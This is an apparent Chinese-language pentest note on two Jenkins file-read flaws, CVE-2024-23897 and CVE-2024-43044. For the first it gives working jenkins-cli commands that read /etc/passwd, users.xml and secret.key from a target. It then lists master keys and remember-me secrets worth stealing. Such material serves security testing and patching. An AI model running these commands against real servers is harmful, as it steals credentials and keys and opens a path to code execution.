Jenkins 漏洞利用
Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)
漏洞原理:
Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容,未授权的攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。
利用条件:
-
是否开启“匿名用户可读”选项
-
服务端字符集是否兼容读取二进制文件
POC
如果Jenkins系统关闭了匿名用户可读功能,大部分的cli命令也就无法调用,会出现"ERROR: anonymous is missing the Overall/Read permission"
的错误:
但有2个命令例外,就是help
和who-am-i
。这两个命令是无需任何权限的,所以可以用来读取文件,比如:
java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help '@/etc/passwd'
成功输出了/etc/passwd/文件的第一行。不同的命令可以读取文件中不同数量的行数,在help情况下只返回一行。
java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/etc/passwd'
枚举Jenkins用户
java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/var/jenkins_home/users/users.xml'
java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"
如果拿到Jenkins的根目录,还可以来尝试读取这些敏感文件:
/var/jenkins_home/users/*/config.xml
/var/jenkins_home/secret.key
/var/jenkins_home/secrets/master.key
/var/jenkins_home/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Jenkins Remoting任意文件读取漏洞(CVE-2024-43044)
漏洞原理:
Jenkins 多个受影响版本在Remoting库中存在任意文件读取漏洞,由于ClassLoaderProxy#fetchJar方法没有限制代理(agent)可以请求从控制器(controller)文件系统读取的路径,可能导致代理进程、以及拥有Agent/Connect权限的威胁者从Jenkins控制器文件系统读取任意文件(如凭证、配置文件等敏感信息)并可能进一步利用导致远程代码执行。
影响范围
Jenkins <= 2.470
Jenkins LTS <= 2.452.3
受影响组件:
Jenkins Remoting 版本<= 3256.v88a_f6e922152(3206.3208.v409508a_675ff 和3248.3250.v3277a_8e88c9b_ 除外)
POC
通过版本来判断是否存在漏洞
https://github.com/HwMex0/CVE-2024-43044
参考链接